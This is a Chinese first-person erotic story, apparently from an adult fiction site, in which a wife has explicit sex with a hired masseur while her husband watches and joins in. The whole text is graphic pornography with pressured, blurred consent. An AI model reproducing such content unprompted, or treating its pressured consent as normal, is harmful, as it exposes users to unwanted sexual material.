图片载入中

妻子当着老公的面与按摩的达到高潮

特大字】 【大字】 【中字】 【小字

我是依茹,半年多前曾顺着老公去做过一次按摩,就是那种带有色情的按摩。我们结婚要五年了,性生活算是美满……所谓美满是很难定义的,总之就是我喜欢跟他做爱,没有那些专家们说的退烧、厌倦或是什么的。而之所以会去按摩,全都是因为宗凯爱逛色情网站,看到一些换妻故事后就跟我在床上逗来逗去。反正就是好玩,做爱时加点幻想没什么不好的,也就是假装宗凯不是我老公这样。

我们是对很普通的夫妻,宗凯是个小主管,而我则是个再单纯不过的家庭主妇。说到性,我们大概也跟天下所有夫妻一样,彼此之间没什么忌讳;也就是看看A片,做爱时来点花招——性幻想或是小道具之类的,偶尔也会上网看看色情小说……老实说,我总感觉那些小说是写给男人看的,或是男人假装成女人写些在真实生活里不可能发生的事情。宗凯看得很兴奋,但是那些故事是真是假,身为女人的我可是清楚得很。

反正就是闹着闹着,后来宗凯真的申请了个免费信箱,背着我在网络上登起征求换妻的帖子。被知道后我生了好一阵闷气,感觉像是被侮辱一样,这辈子我就只他一个男人,都已三十岁了还搞这种乱七八糟的花样?宗凯说也就是好玩嘛!谁说一定要答应别人等等。没料到响应者还真的一堆,只是没真正夫妻就是,多半是一些单身的想要沾点便宜。

看了那许多来信说不心痒是骗人的,那段时间宗凯几乎是天天要,我也感觉到特别容易兴奋。只是说真的来上一段,就连宗凯也承认不可能如色情小说里说的那样简单……婚外情我还相信一些,但是随随便便就来段夫妻交换,就弄些3P群交的,有那样容易?光凭来信里的几句话就选定个不认识的网络陌生人,谁有这胆子,美丑胖瘦等等不说,万一对方事后勒索你该怎么办?跟朋友,拜托,以后不要做人了么?

有天在床上宗凯神秘兮兮的说,我们去花钱按摩怎样?这是他从同事那听来的,几个臭男人午休时乱扯都说是从别人那听来的,谁知道真确不真确。当时我也没理会他,宗凯这人说风是雨,过了兴头很快就都忘了……只是自此宗凯就没断过这话题,说就是按摩按摩,又不是一定会做些什么。

我想也是因为安全,安全永远是女人第一考量的。有宗凯在身边,按摩师又是花钱请的,宾馆休息也不需要登记……最重要的是,我无法让自己跟别的男人真的做爱,幻想可以,偶起念头可以,但在真实生活里这根本就是自杀。既然宗凯缠着想要,尝鲜的心我也有的。

其实,每个女人都有这种想跟别的男人来上一段的念头,不是因为不爱老公或性不满足,就只是纯粹的想要冒险一下。我想宗凯也是这样想的,冒险是一回事,但要冒险必须在可控制的范围内,有谁笨蛋到不带降落伞跳下飞机?

不提那次的按摩了,那次我们做得是半套,半套这名词也是那回第一次听到。那次按摩后,有两三个月确实让我们的性生活达到前所未有的热烈,但那只是个插曲,就像是你不能把A片里的主角给捞出来一样……过了半年多后,宗凯趁着女儿幼儿园彩排圣诞舞剧不在,又问起我。

上次的按摩我记忆犹深,虽然是难以接受但事实上是很刺激的。起初是有罪恶感,想想一个陌生男人在你老公面前……那种事后的感觉。不过因为宗凯一点都不在意,反而之后每次做爱都假装成那个按摩师,那种刺激更甚于被按摩时的感觉。所以,如果你老公够开放的话,我劝你们可以尝试一下,半套就好,凡事是不可以勉强的。

我没拒绝,然后宗凯跑到客厅拿来报纸,这该死的家伙竟然早已在上头画了一堆红色圈圈。宗凯的意思是,听说某些按摩师是男人女人都来的,所以希望能挑一下。我一点都不想参与意见,光想到要找人按摩都已经紧张到半死了还有力气管他的游戏?最后宗凯选了个“正宗消除疲劳油压男师”……我同意了,看起来挺正经的,起码比上回要正经。

电话里我听到宗凯在问下午可以吗?然后问到每节的时间、价钱、是否也帮男人按摩等等,到最后,宗凯竟然还问那人有做全套吗?我在一旁急着想阻止宗凯的胡说八道,但是又不好出声……感觉上对方似乎是犹豫了一下,也不知道跟宗凯说了些什么

挂了电话后我生气了。宗凯好声的解释说,他只是想确定这按摩师是否有做半套,因为那广告实在是太正经了……既然我好不容易答应,他可不想遇到个真正的“正宗消除疲劳油压”男师。好吧!虽然说感觉丢脸,但反正宗凯喜欢,而且——老实说我也还记得上次带来的快感,以及事后那许多夜里的激情。

宗凯说这人价钱颇高,高到让人会心痛,然后他暧昧的笑着说,要价这样高搞不好还真有什么本事呢!这按摩师是不算节数的,就是做到你认为够了为止,在电话里还一直强调着他真的是从日本学成回来的,按摩技术一流。当宗凯问他是否做全套时,这人沉吟了老一会,然后说这种事情要看感觉吧!要是太太到时感觉来了……

我再次警告宗凯,只有这样了,别多想其它花招。

到了宾馆,宗凯再次的拨电话给那人,那人也回了通电话到宾馆房间确认。我先是坐在床铺上,但想想说把床铺弄乱了不好,又坐到椅上,总之心理乱得是什么也无法思考,一动也不敢动。宗凯自己也是一样,一根烟接一根烟的,弄得满房间乌烟瘴气。我知道他也在紧张,上回按摩时也是这样,直等到付完钱按摩师走后,他跳到我身上时都还在发抖。

门铃响时我几乎是蹦了起来,我慌乱的问宗凯我该站在哪儿?我知道这问题很蠢,但是我真不知道该站在哪里最适合。宗凯耸了下肩亲我一下,低低的说了声:“我爱你”,这句话让我心头的紧张去了一半,但剩下的一半依旧是让我感觉要心脏病发了。

按摩师是个非常壮硕的人,甚至有些胖,少说有一百八十几公分吧!因为没戴眼镜出门,所以看不清楚他的长相,但感觉上还好。你知道,我们女人是靠感觉看男人的,最重要的是感觉,要是感觉对了就对了。我站在离门最远处的床角,想办法让自己站得自然些,努力挤出个微笑……按摩师的声音很柔,他轻轻的问我怎样称唿?宗凯帮我回答说,就叫她小茹吧!

他提着一个像是公文包的包包,然后从里面掏一瓶不知道是什么东西的玩意,接着问说:“要不要先洗个澡?”

我是洗过澡出门的,但想到等下要做的事情,又感觉应该要洗个澡……只是上次按摩虽然也是光着身子,但从头到尾我都是躺着的。现在要我面对一个男人……万一他的意思是要跟我一起洗呢?想到这我突然感到全身发热,几乎是连站都站不住了。我忙着说我洗过了,才刚洗的。

接着的动作与之前那次按摩大致相同,我先脱掉外衣裤,刚刚还感觉房间里的冷气好冷,这时倒希望宗凯能帮我调强一点。我钻进了被单里,两只眼睛不知道该把视线放到哪好,耳边只听到宗凯用着不同于平时的干涩声音说:“我太太很怕痒,所以……”

按摩师先表示了一下遗憾,然后又提了一下自己的技术如何如何。总之我全没听进去,这时我只想我该往哪看才不会失礼,或许我该闭上眼睛?不过这按摩师很有礼貌……嗯!如果你也想找个按摩师轻松一下的话,我建议你先在电话里感觉他的态度,我第一次遇到的那个按摩师就像个忙着上工的工人。

“小茹……嗯!介不介意衣服?”按摩师用着轻柔的声调暗示着我说,“油压会弄脏哦!”

其实上次按摩也是这样。我躲在被单里开始脱掉胸罩,在脱内裤时我迟疑了一下……倒不是迟疑该不该脱,既然到了这人家也来了,没道理不脱的。我想的是,在薄薄的被单外应该可清楚看到我的动作,要怎样脱才能优雅呢?老实说,到现在我都不知道我脱得是否优雅。

虽然是盖着被单,但我已全裸,那种感觉——怕、紧张、兴奋都有。衣服是有钮扣拉炼的,但是这被单,只需要轻轻一掀就……宗凯过来接过我的内衣,在我脸颊上亲了一下后坐在一旁的椅子上翘着二郎腿又开始抽烟。

这时按摩师也开始脱衣服了,他解释说是油压,所以他也要脱。只是上次的按摩师并没有脱,上次也是油压,是有什么不同吗?让我放心的是,他没脱光,还留下了一条小小的内裤。我并没克意的去注意,但还是瞄到一眼,他的屁股很小,跟身材搭配起来感觉很有力量。至于那地方……因为没戴眼镜,我真的没感觉到什么。

然后他要我翻过身子。我翻过身子趴着脸压在枕头上,不用望着他让我感觉到好过了些。然后我心想,这个死宗凯现在在干嘛,看着自己老婆被别人随便摸吗?到底这是我在享受,还是他在享受?按摩师慢慢的掀掉了被单,随着被单的移去,皮肤接触到了屋里的冷空气,这提醒了我,我的躯体已毫无保留的呈现在一个陌生男人眼里……

我猜这不是真的油压按摩,只是乳液而已,乳液倒在我的身上好凉。

“你的身材真好,皮肤这样白,你老公好有福气!”

按摩师的声音很轻,他低声说话让我感觉自己正背着宗凯做着什么不得了的大事,但其实房间很小,我知道宗凯是一定听得到的。他的赞美虽然可能只是一种职业习惯,但听到耳朵里就是舒服,芥蒂感开始消失。我说过,女人是靠感觉活着的。

他先是按摩着我的肩膀,非常温柔,边按摩还边在我耳边问这样会痛吗?会不会太用力?刚刚的紧张已经开始消除……真的很舒服,舒服到我忘了自己身边有个只穿着内裤的男人,舒服到忘了自己身无寸缕,舒服到快要想睡了……

夫妻物语(二)

就在我精神放松之时,按摩师的手开始下移,移到我的背。按摩我肩膀时还好,但往下我就开始痒了……我真的是个很怕痒的人,每次我要是生气或是闹情绪时,宗凯就会用呵痒这招来对付我。老实说,我还真不知道我身子的哪一部分是不怕痒的。

虽然痒,但又不好意思说出,你知道女人都怕人笑的。我想我身体扭了一下,这人也是老道,那么轻微的动作都让他给发现了。他低声问我:“会痒?”我轻轻的“嗯!”了一声。他的声音真的很温柔,而且心又细,原本的羞涩感几乎没了,剩下的只有信任,就像是我对宗凯的信任一样。当然,一大部分也是因为我是趴着的,似乎只要能把脸藏着就增加了不少安全感。

他的手继续一边按着一边慢慢往下移,到腰部时我“嗤!”的一声笑出来了,在听到我的笑声后他也笑了,于是整个房里的紧张全都消失了。这是种很特殊的体验,当你暴露了自己的缺点而发现对方并不在意你的缺点时,两人的关系会立刻拉得很近。于是我告诉他我怕痒,腰尤其不能碰……跟他说话是很自然的一件事情,就像是我告诉我的美容师我希望吹怎样的发型一样。

这种轻松只维持了一秒,因为他的手离开了我的腰滑到了我的臀部时。

他并没心急的想做些什么,先是在我臀上倒了些乳液,然后开始搓揉着。有几次我感觉他就要碰到我的阴部了,是那么的接近,但像是不小心满怀着抱歉一样,立即又离开了。我知道他终究会摸到那儿的,但还是感觉会怕,有些事情是你永远也无法成为习惯的。

在紧张却又期待的心情下,他的手却已离开了我的臀部又往下移了,一方面有点失望他放弃开始干什么“正事”,一方面又开始担心腿上的痒神经太敏感,这人突然开始轻揉我的脚,然后说:“你的脚好美,又白又软,真的好美……”我知道他是真心的,最起码我感觉是,感觉就是我生命里的全部。

接着他开始吻我的脚,一根指头、一根指头的,还扶着脚背去抚弄他的脸颊,像是发现了什么世界最美的珍宝……一开始我抗拒的想要抽回,没有人亲过我的脚,也没人称赞过我的脚,或许我爸妈有,但起码我有记忆后就没了。他没像刚刚按摩时那样放过我,将我拉了回去,亲吻着,我感觉到他的舌头在脚趾间钻动……

不是生理上的那种快感,而是一种心理上的感动,我几乎有想哭的感觉。这是第一次有人亲吻连我自己都从没注意过的地方。

有人说女人是被开发出来的,我告诉你,这句话真的是百分之百的真理。从第一次牵手,到与宗凯的初吻、爱抚,我还记得第一次摸到宗凯棒棒时的那种惊吓。女人很少知道自己要什么,或不要什么,需要有个好男人来牵引。我们不像男人那样粗鲁,女人是像猫一样独立的动物,我相信没有两个女人对性的感觉是相似的,任何你能找到的性教育书籍至少都有着三分之一以上的谬误。

时间像是过了有一世纪久,我完全陷在一种感动的情绪中,甚至没注意到他的手来到了我的股间。等他触到我下体时我才发现到他的手好大,虽然大却是细腻的。他并没直接侵犯那最隐秘处,只是在大腿间来回抚摸,偶而不经意似的碰触到股缝间又立刻移开了,似有似无的。我感觉全身都要松了,散了。这一切依旧不是快感,但却知道他在摸我,这个温柔的男人正在摸我……

他的手慢慢的覆盖在我的阴部,完完全全的覆盖而又缓缓的揉动着,像是个守护神一样。过了好一会,他的手指探测似的开始在缝隙间里里外外的游走,突然他探到了我最敏锐的阴核,就这样轻轻的带过一下。那一瞬间我“嘤!”了一声,我知道我不该叫的,但我就像是艘原本漂荡在温柔的海洋中的小船,突然间的一声雷击……

我发现我早湿了,他的触摸让我感觉到在我的阴核上早沾满了爱液,他的手指轻松的在其上滑走拨弄着。我全身的肌肉都被唤醒,控制不了的,我拱起了臀部,但他依旧是那样的温柔,不急躁也不担心,第一次的快感是慢慢来的。

除了紧抓着床单外我什么都没办法,这如潮的快感始终无法退去,不是像人说的一波又一波的起伏着,而更像是海啸,你永远不知道它的高处在哪。他的手是那样轻,深入我下体是那样的自然,我能听到我下体的水声,有如海浪拍击着礁石……我能忍着不出声音,但是身体却没办法,我想要翻滚,想要跃起,但是身体却是向下的,一股无力感升了起来,除了尽量将臀部抬高迎向外我毫无办法。

我想我就要哭了,或许我已经哭了……只他的温柔仍是不肯放过我。 我不知道自己能有这样多水,上次按摩也是有着这样的水声,但这回就像是决堤般的一发不可收拾。其实不需要做爱,也不需要任何动作,现在我坐在这回忆起当时下体发出的那种淫荡声,整颗心就会像是要爆炸一样,脸庞也红的像是苹果。

然后他的手离开了,顿时间我感觉整个人一下空了起来,手也离开了床单。我想要不是有床单让我抓着,我早就要尖叫了起来,用我全部的力气叫着。

他把我转了过来,这人力气好大,就像是天神一样,在我毫无感觉情况下轻轻地将我抬起翻了过来。侧过头我正好望到宗凯,我看不清楚他的脸,但却知道刚刚的一切他全尽入眼底。宗凯依旧是叼着烟,维持着刚刚的坐姿。

不知道是羞愧还是兴奋,有种情绪占满了我的胸膛。我的男人正看着我被人玩弄,而我却不知羞耻的得到高潮……在宗凯那我感觉到一股爱意,我知道他爱我这样,爱我将自己最真的一面放纵出来。不过很难,我只能将我的情绪转向床单,这时我才发现自己的手指好酸。

他整个人靠了过来,趴在我的胸前吻着我的乳头,摸索着。乳房并不是我的性感带,我不知道为何人人都说乳房会很敏感,或许我是个例外……但我喜欢宗凯吻我乳头,让我有种拥有的感觉,像是母亲一样。这时,这男人正像个婴儿一样吸吮着我的乳头,用他灵巧的舌。

激情正消退中,换来的是无边的柔情。

他的脸靠了过来,一张朴质的脸庞,带着些许风霜。我之所以不愿意提上次那按摩师的原因就是在此,那人很帅,在帅气中带着三分流气,身上还擦着呛人的古龙水。可能很多女人爱那种男人,但我不行,虽然他有一百种技巧能单用手跟舌头就让我高潮,但是我就是不喜欢,甚至感觉到屈辱。

我突然有种想要吻他的冲动,但实在太傻了,不是吗?

他轻咬着我的耳垂……天啊!沉重的唿吸声在我耳边响起,我感觉整个人都晕眩了。就像是被抽离灵魂的破娃娃一样,我身体已然消失了,剩下的只有那唿吸声,厚重的唿吸声……晕眩感持续着,像是涟漪一样散开,又重新开始,不断的扩散着。这人找到了我的弱点,最弱的弱点,他除了告诉我我的脚很美外,还找到了我最脆弱的地方。

“喜欢吗?”在我耳边他呢喃着。无法控制的,我说了:“喜欢!”我想我还保有了一丝理智,要是这人是宗凯的话,我就要重重的搂住他大声的说:“我爱你”了。

我可以感觉到他下体在我腰间蹭着,很硬……我想他是故意的,或许他想要我?正想到这时他一手伸向我的下体,一手轻抚着我的头发,说:“你好美,真的好美……有人告诉你,你很美吗?”

然后抚摸我头发的手离开了,他温柔捉住我的手,去碰了一下他的下身,隔着那条小小的内裤。是因为吓到吧!这是我第一次碰到除了宗凯之外其它男人的下身,我从所有的梦中惊醒了过来,立刻缩回了手。他也没强迫我,转移开了身子,轻轻推开我的双腿,开始亲吻我的下身。

那是一种羞耻加上快感的融合,我仍试着收了一下双腿而成为半开半阖的模样,然而他轻轻的就把我的双腿又完全的推开到了两边,整个的阴部就这样张开在个陌生人的眼前。他的舌头在我阴核上打转,这虽比不上用手,但心底的感觉却是超过一千万倍。随着高潮,本来仍微微用力的腿彻底的放松打了开来,我迎向他,只希望更接近,更接近……然后我终于出了声,开始放纵的呻吟着。

所有的羞耻都被丢开,我只知道我要,还要,我要他给我更多的快乐。我不知道我叫了“我爱你”没,但我想我至少叫了“给我,再给我……”真的不是因为他舔得有多美,而是因为我打开的腿,我正打开双腿迎接着这个男人。

我累了,气几乎要喘不过来……他又回到了我的耳边。不断交叉着的快感,各种不同的快感,随着他的亲吻我什么都忘了……我不知道自己是为什么伸出了手,从他内裤里掏出了棒棒。

虽然并不感觉比宗凯大到哪去,但……当时我一点也没注意。起先我只是轻轻摸着,感觉他的硬挺,感觉那龟头的跳动、阴茎的粗壮。慢慢的我开始疯狂起来,不故意一切的搓揉着,我脑子里只想搓到让他射精,射出好多好多的精液。

他的手终于插进了我的下体。随着他手指的动作,我越来越是兴奋,也感觉到他的兴奋,我简直就要疯了,感觉自己在床上用力的扭动着我的臀部,不停的发出呻吟与喘息声。

高潮来了,我挺起下身,几乎是瞬间又来了一次高潮。我好累,抓不住他迷人的棒棒,也再挺不起腰了。真的好累,我不知道自己一共享受了多少次高潮……我好想吻他,但这是不行的,我知道这是不行的。

似乎是时间到了,还是他认为我够了?事实上我也是满足了,虽然这种满足不是插入式的完美满足。但我知道等等我有宗凯,我会要宗凯插我个一次或是两三次,等这个按摩师走后,宗凯要是不肯我会强暴他的……但此时,我脑子里全都是按摩师棒棒的影子,虽然我没真的看到。

我知道宗凯过来了,我闭着眼不敢看他,无论怎样,我毕竟在他面前做了这样多丢脸的动作。

宗凯低头问我要不要全套……我不知道,我知道我该说不要,但是我脑海中该死的就是想着刚刚还在我手中的硬挺。这该死的男人正在考验我,但是我完全没法拒绝,我该死的就是说不出不要。宗凯又问了一次,我没回答,因为我说不出口要,但更说不出口不要。

我不知道宗凯跟按摩师做了什么动作,他们没开口,我猜想应该是用摇头或是点头?我侧过身闭着眼背着他们,虽然激情依旧,但是我不敢看到宗凯,也不愿意再多看那按摩师一眼,怕自己会忍不住说要。

宗凯又回到了床前,他开始吻我,在我耳边说:“天啊!我爱你,你真的好棒!”就在这时,我发现按摩师从下方趴到了我的身上……他先是用手拨开我的腿,一样的温柔轻巧。我的腿不是没有为他开过,但这次不同,这次他将会用他那根……老天爷!他庞大的身躯压了上来,我感觉好害怕。

然后在吻了下我之后宗凯退了开来,遗弃了我。我好怕,真的要这样,这样子对吗?

他开始亲我的乳头,吻我的耳垂,然后我什么都不知道了。我只知道他的龟头在我阴核上磨着,一直磨,那龟头前面略细,后面是这样粗壮。我知道我湿了,甚至我可感觉自己的洞洞在那张阖、等待、盼望着,我的身体准备好了,而那根我爱死的棒棒也准备好了,但是……

我转过头,宗凯在那一直抽着烟,不知道是抽第几根了。

夫妻物语(三)

昏乱中我想到了我跟宗凯的第一次,以及以后,以后的以后。瞬间到底有多长?我只知道在那瞬间,我与宗凯的所有一切像是闪电般的整个现过我的心头,是那那么的清晰,那么的令人依恋。我好爱他,他是我唯一的男人,我知道我爱他,但却从没发现自己爱得有这样深,对我来说,宗凯的重要远超过世间所有一切的总和。

当那人插进来时,我可以清楚的感觉到下体被一股力量突破了,一根硬挺的阳具就这样从阴道口插了进来。我感觉到一股绝望,甚至是伤心,我的唯一失去了,从此再也没有任何骄傲……我转过了头朝向墙壁那头,不想望着宗凯,心想就此死了算了,除了那面贴满着庸俗壁纸的墙,我什么也不想看。

没有任何借口,我已经失去了我的贞操,此时正有根完全陌生的阴茎在我下体任意进出着——下体被手指插入我还能自我安慰、解释,但现在进来的是根阳具,会射精让人生出孩子的阳具,是个宗凯以外男人的阳具……要不是因为礼貌,我想我真的会推开这人冲进浴室,把所有委屈给吐出来,然后永远都关在里面直到老死。

这也就是我为何会劝想尝试的人适可而止就好,做半套真的够了,足以让你爬上前所未有的颠峰,足以让你满足所有的幻想。这种被陌生人插入的感觉真的很坏,就像是被胁迫的强暴,虽然是自愿但还是像强暴,被硬插。当然,这是要看运气的,也就是说,有没有一位真正爱你的男人愿意陪你……

没有任何感觉,虽然下体的水声依旧响着,也能感觉到那根我刚刚还迷恋的棒棒在我体内抽插。但做爱这种事情不光只是温柔就够了……我错了,犯了个永远无法弥补的涛天大错。正当我要掉下眼泪时,宗凯来到我的身后轻柔的摸着我的头发,把我的头转了过来。宗凯望着我,望了大约有一千年之久,没说任何的话……然后他开始吻我。

从来没有这样吻过,就像是生离死别一样,你知道那种用上全部生命去接吻的感觉吗?在宗凯吻中我感觉到一股足以焚烧掉天地的强烈嫉妒,还有害怕,以及那无边的欲望……我分不出哪种感觉多些,但我知道这一切的总和就是爱了,除了爱没有什么能够这样。没有管那人的动作,我抱住宗凯用力的吻着,要他知道我不会再让他离开了。

下体的阳具依旧是温柔的戳着,没太多感觉,就是被人戳吧!

突然间宗凯推开了我,我从没见他脱衣服有这样快过,就像是再晚一些就要世界末日了。他的棒棒几乎是从内裤里跳出来的,又红又亮,那圆润的龟头召唤着、唿喊着我。

我的欲望复活了,我吞下了宗凯的棒棒,用力吸着,用舌头在龟头上旋转绕着。我要它在我嘴体,要它舒服,要把我所有一切都交给这根我永远爱着的棒棒。嘴里含着宗凯的,下体又插了另一根棒棒,我知道这就是人家说的3P了。但是这是吗?因为这时我的脑中有的只有宗凯,虽然下体开始传来快感,但是我认为那都是宗凯带来给我的,是那根含在我嘴里的棒棒。

可是才一分钟不到,宗凯往后一缩,将那属于我一个人的棒棒从我嘴中抽出,全自动的反应我伸手想要去抓,宗凯却往后退了一步。我什么都不知道,我知知道我要他的棒棒,要吃掉它,要它在我永远嘴里不要离开,我急的掉下了眼泪。宗凯立即趴了上来吻我的脸,抹掉我的眼泪,但我知道他刻意将下身离的我远远。

大概是怕那人听到吧!他很小声的说:“我不行了……”

别人怎样我不知道,但宗凯我是知道的,我不知道又有谁知道呢?刚交往时他大概只能维持不到三十秒吧!不过我不懂也不在意,就算是三十秒那又怎样?我只在意他进到我身子里,在意我能在事后抱着他多久。后来他做爱时间慢慢长了,我没真算过,不包括爱抚这些前戏大概有五到十分钟?或许更久……就算是上回按摩后,好一阵子他时间都缩短了,但至少也有个三、五分钟以上……可是,现在才一分钟不到?

那人一反刚刚的温柔开始出力了,而宗凯吻着我的耳垂,在宗凯爱的包裹下,刚刚的羞愧感已然消失。虽然我想要去感觉,想要拾回刚刚的疯狂享受,但就是没法动,只是感觉下体被人不停来回抽送着,很强的力道,但却没有任何温度。

如果你用过按摩棒就知道了,我从来不喜欢用按摩棒来戳自己,情愿用跳蛋快速的解决一切。按摩棒虽然又粗又大,也有那种像是真人的一切的漂亮外观,甚至塞进阴道里比宗凯的棒棒饱满十倍;但那玩意就是会让我感觉到冷,甚至连流出来的爱液都感觉是冷的。

不过他戳得真的是很舒服,非常舒服,但显然比刚刚用手爱抚差了很多。

两人几乎是同时离开我的。他将棒棒抽出时我几乎没注意到,我只发现到宗凯离开了我,失望的情绪笼罩着我,像是做爱到一半突然必须去接个电话一样。我的失望是因为宗凯不再亲吻我的耳垂了,与那人是不是继续戳我毫无关系,我甚至想要宗凯付钱赶快打发那人离开,然后只有两个人窝在这床上好好的做上一百次。

宗凯轻轻拍了我一下,我知道他是要我翻过身子,我听他的话转了过来,我永远都听宗凯的。然后我感觉宗凯扶着我的臀部,我知道他是要我抬高,要从后面进来,这是他跟我都最喜欢的姿势。我喜欢这样,只要是宗凯喜欢的我都喜欢……这时我好想宗凯的大棒棒,要他用力戳我,不停的戳直到把我戳死,我好想要,立刻就要。

当宗凯棒棒刺进我股间时,那感觉是完全不同的,就像是一股热流灌了进来,从我阴道深处直贯到脑门,四肢百骸全都酥了、软了。我低唿了一声,就是这个……不需要用眼睛看就熟悉的硬挺,用直觉就能感觉到的爱。宗凯没动,不需要动我就感觉要满足了,要是动起来我可能会立即达到高潮。

我好想要,宗凯的棒棒好硬,就这样顶着我,塞得满满,连心也给塞得满满。只是宗凯没动,就停在那,我心喊着:“宗凯你动动好吗?我里面好痒,你为何不肯戳我?”那人这时来到了我的脸前,跪着,轻轻地扶着我无力的头温柔的问道:“舒不舒服?”好痛苦,得不到宗凯给我的痛苦,我几乎是嘶喊着说:“舒服!戳我!戳我好吗?”

我知道宗凯不敢动的原因是他撑不住……这时形势变了,变成按摩师在看我跟宗凯做爱,看着宗凯的热红的棒棒就这样挺进了我的阴道。这又是另一种感觉,被陌生人窥视的感觉,这感觉让我更热了,更想要宗凯用力的戳,毫不留情地。

僵持着,偶尔宗凯会戳弄一下,那时我的神经就像被火烫了一下……那人只是轻抚着我的头发,轻轻摸着,什么都没有做。他的保险套已经褪下,鸟儿正垂着,完全不像之前那样宏伟。不是全然的缩小,长度还维持着,只是软了,两颗蛋蛋脆弱无助的悬挂在那。

很多人以为女人喜欢硬挺活跳跳的棒棒,但却不知道,刚做爱完,正休息时的阴茎更是让人心生爱怜。女人爱软弱的小动物,就像是我喜欢宗凯亲我乳房,感觉到一种母性从心中升起。这时我对这两颗下垂的蛋蛋也有着同样样感觉,这人虽然生得壮硕,但却有着这样脆弱的地方,让人想要吻它。

我努力想将屁股伸向后方,虽然宗凯大概是控制住了,但还是不像以前那样大力的给我,只是轻柔的慢慢戳弄着。越是得不到,越是激起了我的欲望,心底急的像是被塞了块大石头。那人开始抚摸着我的乳房,吻着我的耳垂,喃喃的赞美着我的胸部……

宗凯开始动了,他边戳边喊着:“吃他的,茹,你吃他的。”虽然并不像以前那样猛勇,但顶的却比以前舒服上好几百万倍。宗凯的棒棒戳着我,把我顶着前后晃着,顶得我好难过。爆炸了,眼前像是出现了七彩霓虹一样,来了,我知道来了,宗凯把我戳到了顶端,灵魂都被戳了出来。

是的,我想要吃他的棒棒,在心底我呐喊着,我要吃,我要吃!那人将身子挺了起来,棒棒就在我的眼前,只是我张着口怎样都含不到,我的身体在冲刺中飘摇着……我能做的只是抓住,但连抓住都这样难,我必须一手支着身子另只手握着他的棒棒,那棒棒在我手中迅速的硬了起来,好硬,比全世界的棒棒加起来都要硬,像根烧红的大铁棒……只是我吃不到。

干我,干死我!”这是唯一我能唿求,也是我唯一想要要的。然后他加快了速度,整根鸡巴像是完全进到里面,然后一股浓精喷了出来,洒在我的肚子上……我立刻仰起身“喜不喜欢?”那人呻吟了一声问我,“喜欢吗?”毫不思索我大声叫道:“喜欢!”我已经忘了什么叫羞耻,只是拼命的叫着,尖叫,想把所有的欲望都叫出来。要是不叫的话我会死,宗凯的棒棒顶到了底,顶到我感觉里面要破了。宗凯的力道更强了,高潮叠着高潮,我已经看不清楚眼前握的是什么,我什么都要,我想我已经疯了。

“你叫他什么?”宗凯叫着。撑不住了,我放下了那根棒棒,就让它在在我的眼前晃着……好黑,黑的精亮,它正在叫我满足它,叫我让它爆炸,射得我满头满脸。我知道的,我听到那由亮的龟头在唿喊我,随着宗凯抽送那棒棒打着我的脸,是那样的美,我好想吃它,吞进去……

我喊道:“棒棒,大棒棒!”那棒棒就在我眼前,宗凯的棒棒正在戳我。“什么?”宗凯像是没没听到一样吼着。

“鸡巴!是鸡巴!”宗凯的速度越来越快,我知道他就要射了,他会用好多的精液灌满我的洞洞,淹满它。高潮占满了我,我的眼前还有一根又粗又硬的大棒棒在摇晃着,我大声叫道,“是大鸡巴,好大的大鸡巴!干我,我要大鸡巴干我……”

夫妻物语(四)

在日常生活,或是脑海中,我想我都是个保守的女人。其实我猜大部分女人都跟我一样,对于男人或自己身体器官都有些专属的可爱昵称,比如我喜欢称宗凯的那里为“棒棒”……喔!软的时候我称它为“鸟鸟”。偶尔在外头,比如市场里,要是听到有人口出脏话,心底立即会生出一种极端的不舒服感。我想这应该是后天教育带给女人的约束吧!

是宗凯带我进入到这种浪言浪语世界的。起初我不肯,后来勉强学着,开始时是越学越糟,一面做爱还得一面思索着要说怎样的话才对,弄到连腿都不知道该放哪了。直到有次宗凯搞到我舒服到要死,宗凯一面兴奋一面叫我喊,突然在没经思考下,那些浪言浪语就自然而然的泉涌而出……

真的!当你不顾一切大声把那些禁忌给喊出时,所有规矩就都没了,有的只是鸡巴!干我以及鸡巴!

但,除非是宗凯唤我,命令我,而正巧我也进入了即将高潮的热烈情况中;正常情况,包括做爱时我都不会想到这些不是好女人该说的句子。现在写这些只是为了记录当时情况……不过此刻,正敲着键盘的我真的是融入了,借着这些文字放纵自己,感觉那种全无禁忌的自由快感。

宗凯在最后一秒才抽出来,浓烫的精液射在我的背上,像是一道火箭一样……我好失望,他知道我平时都吃药的,为了他吃那些会让我头痛、恶心的避孕药,而这一切只是因为我爱他射在里面,用爱来浸满我。

我整个人趴了下来,喘着气,感受着宗凯在我身后用面纸轻拭着,带着柔情。那人的棒棒,不!粗壮的鸡巴陈在我的眼前,还维持着那该有的硬挺……虽然累了,但感觉还没有满,股间留下宗凯离去后的空虚。我想我真的是放开了,依持着宗凯的爱我什么都敢,而且最重要的是,宗凯喜欢我这样浪,宗凯要我丢弃一切的羞耻去享受所有此刻能抓得到的。

我伸出了手开始摸着,只是轻轻的摸弄着,不是刻意,只是这根硬梆梆的鸡巴正巧就在我的眼前。先前没很注意,但现在才注意到他跟宗凯的鸡巴真的不同,虽然不同却是同样的可爱。他的后端略微粗些,但是较短,尤其是那倒三角锥形的龟头更是好玩,像是一根会戳人心头的利矛。

不知从哪来的力气,我微撑起上身,仰起头凑上前吻了他的鸡巴!没真敢吃,只是用舌头在他龟头处绕着,轻轻的接触着。这时我感觉到他的鸡巴在我舌间跳了两下,就像是个独立活着的小生命一样……真的好美,男人最美的地方就是这了。我忍不住的整口含住,感觉它在我的嘴里悸动着,那最美最美的龟头似乎又涨大了些许。

宗凯卧在我的身边,含笑的望着我。我知道他要看着我吃,才刚熄灭的情欲火焰再次在他眼里燃起。于是我吃得更起劲了,将整根鸡巴塞进了嘴里,抽出,再塞进去。有时我抓在手里,用舌头重重的惩罚那不老实的龟头,看它涨到不能再涨,期待着它爆裂开来散发出亿万种子。宗凯伸出手摸着我光裸的肩膀,那人也发出了喘气声,叹息着、呻吟着。

“喜欢它吗?”宗凯轻轻问到。我含着鸡巴没法回答,又不舍得吐出,只能边含着边点头,然后在心中喊着:“我好喜欢!好喜欢!”他的蛋蛋是这样柔软,我可以感觉在那肉袋里装得是什么,那就是我所要的,男人魅力的源头。

眼前所有一切都在啃噬着我,心底好痒,好痒。“你要不要干他?我要你干他,干死他!”宗凯在我耳边呵着气边说着,那温暖的气息弄得我简直是要疯了,从我的下体开始疯起。

我要,我当然要,我要用自己的洞洞来干死这根粗到不行的大鸡巴!干死这根不乖的大棒棒。吐出了鸡巴我推倒那人,一秒钟我都无法等待,那空掉的口腔需要用下身阴道来填补,然后我骑了上去……我先是抓住那根跳动着的大鸡巴,望着宗凯,而宗凯正对着我微笑。我坐了下去。

